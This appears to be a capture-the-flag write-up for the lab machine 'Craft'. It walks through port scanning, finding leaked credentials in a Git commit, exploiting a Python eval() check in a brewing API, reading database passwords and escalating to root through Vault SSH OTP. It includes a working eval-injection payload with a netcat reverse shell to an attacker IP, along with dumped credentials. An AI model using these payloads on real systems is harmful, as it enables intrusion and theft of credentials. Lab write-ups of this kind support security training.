Enumeration
Masscan + Nmap
1
2
3
4
5
6
7
8
$ masscan -p1-65535,U:1-65535 IP --rate=10000 -e tun0 | tee masscan.out
Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2021-07-12 17:00:33 GMT
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 6022/tcp on 10.10.10.110
Discovered open port 443/tcp on 10.10.10.110
Discovered open port 22/tcp on 10.10.10.110
Parse those ports to nmap:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
$ ports=$(cat masscan.out |awk '{ print $4 }' | sed 's/\/tcp//;s/\/udp//' | tr '\n' ',' | sed 's/,$//')
$ nmap -sVC --min-rate 1000 -p $ports IP -oN nmap-fullscan.out
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
| 2048 bd:e7:6c:22:81:7a:db:3e:c0:f0:73:1d:f3:af:77:65 (RSA)
| 256 82:b5:f9:d1:95:3b:6d:80:0f:35:91:86:2d:b3:d7:66 (ECDSA)
|_ 256 28:3b:26:18:ec:df:b3:36:85:9c:27:54:8d:8c:e1:33 (ED25519)
443/tcp open ssl/http nginx 1.15.8
|_http-server-header: nginx/1.15.8
|_http-title: 404 Not Found
| ssl-cert: Subject: commonName=craft.htb/organizationName=Craft/stateOrProvinceName=NY/countryName=US
| Not valid before: 2019-02-06T02:25:47
|_Not valid after: 2020-06-20T02:25:47
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
| tls-nextprotoneg:
|_ http/1.1
6022/tcp open ssh (protocol 2.0)
| fingerprint-strings:
| NULL:
|_ SSH-2.0-Go
| ssh-hostkey:
|_ 2048 5b:cc:bf:f1:a1:8f:72:b0:c0:fb:df:a3:01:dc:a6:fb (RSA)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port6022-TCP:V=7.91%I=7%D=7/12%Time=60EC759D%P=x86_64-pc-linux-gnu%r(NU
SF:LL,C,"SSH-2\.0-Go\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 47.00 seconds
Added craft.htb to /etc/hosts.
Foothold
craft.htb
Contains not much, but two buttons redirecting to api.craft.htb and gogs.craft.htb. Added them to /etc/hosts as well.
gogs.craft.htb
There is a repository at /Craft/craft-api named craft-api which I downloaded.
eval in brew
craft_api/api/brew/endpoints
has a commit named “Add fix for bogus ABV values”
1
2
3
4
5
6
7
8
9
10
11
12
13
@auth.auth_required
@api.expect(beer_entry)
def post(self):
"""
Creates a new brew entry.
"""
# make sure the ABV value is sane.
if eval('%s > 1' % request.json['abv']):
return "ABV must be a decimal value less than 1.0", 400
else:
create_brew(request.json)
return None, 201
/Craft/craft-api/issues/2 mentions why the eval function was included, they didn’t want values above than 1.0 so they added another commit which uses eval function to check if the value is below 1.0
1
curl -H 'X-Craft-API-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidXNlciIsImV4cCI6MTU0OTM4NTI0Mn0.-wW1aJkLQDOE-GP5pQd3z_BJTe2Uo0jJ_mQ238P5Dqw' -H "Content-Type: application/json" -k -X POST https://api.craft.htb/api/brew/ --data '{"name":"bullshit","brewer":"bullshit", "style": "bullshit", "abv": "15.0")}'
But we don’t have an authorization token, and that can only be created with /auth/login api in api.craft.htb with some valid credentials.
Cleanup test commit contains creds
Creds: dinesh:4aUh0A8PbVJxgd
1
2
-response = requests.get('https://api.craft.htb/api/auth/login', auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False)
+response = requests.get('https://api.craft.htb/api/auth/login', auth=('', ''), verify=False)
api.craft.htb
/auth/login - Create an authentication token provided valid username and password
1
2
curl -X GET "https://dinesh:4aUh0A8PbVJxgd@api.craft.htb/api/auth/login" -H "accept: application/json" -k
{"token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiZGluZXNoIiwiZXhwIjoxNjI2MTk3NDMwfQ.D2ooUakzD-ZPAZXa-wKPpKfxJfqBrv3cDgA32SNSm4g"}
/auth/check - Checks validity of an authorization token (Also the header X-Craft-API-Token is taken from test.py)
1
2
curl -X GET "https://api.craft.htb/api/auth/check" -H "accept: application/json" -H "X-Craft-API-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiZGluZXNoIiwiZXhwIjoxNjI2MTk3ODY0fQ.TjJVzsdRPWvTyZMWrQ0GmO9Q0FaPGZ8RVOoDiuW0XGc" -k
{"message":"Token is valid!"}
Getting docker shell with brew eval
Code from test.py tries to make a sample brew with ABV values so I added the valid credentials in test.py.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/usr/bin/env python
import requests
import json
response = requests.get('https://api.craft.htb/api/auth/login', auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False)
json_response = json.loads(response.text)
token = json_response['token']
headers = { 'X-Craft-API-Token': token, 'Content-Type': 'application/json' }
# make sure token is valid
response = requests.get('https://api.craft.htb/api/auth/check', headers=headers, verify=False)
print(response.text)
# create a sample brew with bogus ABV... should fail.
print("Create bogus ABV brew")
brew_dict = {}
brew_dict['abv'] = '15.0'
brew_dict['name'] = 'bullshit'
brew_dict['brewer'] = 'bullshit'
brew_dict['style'] = 'bullshit'
json_data = json.dumps(brew_dict)
response = requests.post('https://api.craft.htb/api/brew/', headers=headers, data=json_data, verify=False)
print(response.text)
# create a sample brew with real ABV... should succeed.
print("Create real ABV brew")
brew_dict = {}
brew_dict['abv'] = '0.15'
brew_dict['name'] = 'bullshit'
brew_dict['brewer'] = 'bullshit'
brew_dict['style'] = 'bullshit'
json_data = json.dumps(brew_dict)
response = requests.post('https://api.craft.htb/api/brew/', headers=headers, data=json_data, verify=False)
print(response.text)
Running test.py:
1
2
3
4
5
6
7
8
$ python test.py 2>/dev/null
{"message":"Token is valid!"}
Create bogus ABV brew
"ABV must be a decimal value less than 1.0"
Create real ABV brew
null
Testing to bypass python eval function:
1
2
3
4
5
6
7
8
9
#!/usr/bin/python
import sys
import subprocess
abv = sys.argv[1]
if eval('%s > 1' % abv):
print "ABV must be a decimal value less than 1.0"
else:
print "Successfull"
1
2
3
$ python temp.py "__import__('os').system('whoami')"
root
Successfull
Modify test.py with the new ABV values, which is:
1
brew_dict['abv'] = '__import__("os").system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.11 4444 >/tmp/f")'
Running test.py:
1
2
3
4
5
$ python test.py 2>/dev/null
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiZGluZXNoIiwiZXhwIjoxNjI2MTk5MjcxfQ.uIy4vpjs_NAvPdSiaf2jLe-7FHAcEvnbGs7rLx9zVUk
{"message":"Token is valid!"}
Create malicious ABV brew
and I got a shell.
1
2
3
4
5
rlwrap nc -lnvp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.10.110 44791
/bin/sh: can't access tty; job control turned off
/opt/app #
settings.py contains valid MySQL credentials:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/opt/app/craft_api # cat settings.py
# Flask settings
FLASK_SERVER_NAME = 'api.craft.htb'
FLASK_DEBUG = False # Do not use debug mode in production
# Flask-Restplus settings
RESTPLUS_SWAGGER_UI_DOC_EXPANSION = 'list'
RESTPLUS_VALIDATE = True
RESTPLUS_MASK_SWAGGER = False
RESTPLUS_ERROR_404_HELP = False
CRAFT_API_SECRET = 'hz66OCkDtv8G6D'
# database
MYSQL_DATABASE_USER = 'craft'
MYSQL_DATABASE_PASSWORD = 'qLGockJ6G2J75O'
MYSQL_DATABASE_DB = 'craft'
MYSQL_DATABASE_HOST = 'db'
SQLALCHEMY_TRACK_MODIFICATIONS = False
netstat output says MySQL is running on port 44563:
1
2
3
4
5
6
netstat -tulpn
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.11:44563 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:8888 0.0.0.0:* LISTEN 1/python
udp 0 0 127.0.0.11:40244 0.0.0.0:* -
There’s a dbtest.py:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/env python
import pymysql
from craft_api import settings
# test connection to mysql database
connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST,
user=settings.MYSQL_DATABASE_USER,
password=settings.MYSQL_DATABASE_PASSWORD,
db=settings.MYSQL_DATABASE_DB,
cursorclass=pymysql.cursors.DictCursor)
try:
with connection.cursor() as cursor:
sql = "SELECT `id`, `brewer`, `name`, `abv` FROM `brew` LIMIT 1"
cursor.execute(sql)
result = cursor.fetchone()
print(result)
finally:
connection.close()
Running it gives:
1
2
python dbtest.py
{'id': 12, 'brewer': '10 Barrel Brewing Company', 'name': 'Pub Beer', 'abv': Decimal('0.050')}
Use sql = "show tables;"
it gives brew
and user
as a table and change fetchone() to fetchall(). Use sql = "SELECT * from user;"
1
2
python dbtest.py
[{'id': 1, 'username': 'dinesh', 'password': '4aUh0A8PbVJxgd'}, {'id': 4, 'username': 'ebachman', 'password': 'llJ77D8QFkLPQB'}, {'id': 5, 'username': 'gilfoyle', 'password': 'ZEU3N8WNM2rh4T'}]
Getting user shell as gilfoyle
Creds from MySQL database can pass login in gogs.craft.htb and we’ve a repo called craft-infra which has a .ssh folder. Provided password for gilfoyle as passphrase for id_rsa too.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
ssh -i id_rsa gilfoyle@craft.htb
. * .. . * *
* * @()Ooc()* o .
(Q@*0CG*O() ___
|\_________/|/ _ \
| | | | | / | |
| | | | | | | |
| | | | | | | |
| | | | | | | |
| | | | | | | |
| | | | | \_| |
| | | | |\___/
|\_|__|__|_/|
\_________/
Enter passphrase for key 'id_rsa':
Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Jul 12 12:52:17 2021 from 10.10.14.11
gilfoyle@craft:~$
Privesc
gogs.craft.htb contains a vault folder with a secret.sh Which mentions enabling secrets for ssh,writes key-type as otp and user as root at ssh/roles/root_otp Also home folder of gilfoyle contains a .vault-token file with a token.
“Vault - Manage Secrets and Protect Sensitive Data Secure, store and tightly control access to tokens, passwords, certificates, encryption keys for protecting secrets and other sensitive data using a UI, CLI, or HTTP API.”
Vault also has a ssh option, and it generates OTP for the session as a password.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
gilfoyle@craft:/$ vault ssh -mode=otp root@localhost
WARNING: No -role specified. Use -role to tell Vault which ssh role to use for
authentication. In the future, you will need to tell Vault which role to use.
For now, Vault will attempt to guess based on the API response. This will be
removed in the Vault 1.1.
Vault SSH: Role: "root_otp"
Vault could not locate "sshpass". The OTP code for the session is displayed
below. Enter this code in the SSH password prompt. If you install sshpass,
Vault can automatically perform this step for you.
OTP for the session is: 79c5ebe7-8c2b-b4cc-7962-3186e0420c4e
. * .. . * *
* * @()Ooc()* o .
(Q@*0CG*O() ___
|\_________/|/ _ \
| | | | | / | |
| | | | | | | |
| | | | | | | |
| | | | | | | |
| | | | | | | |
| | | | | \_| |
| | | | |\___/
|\_|__|__|_/|
\_________/
Password:
Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Jul 12 12:58:41 2021 from ::1
root@craft:~#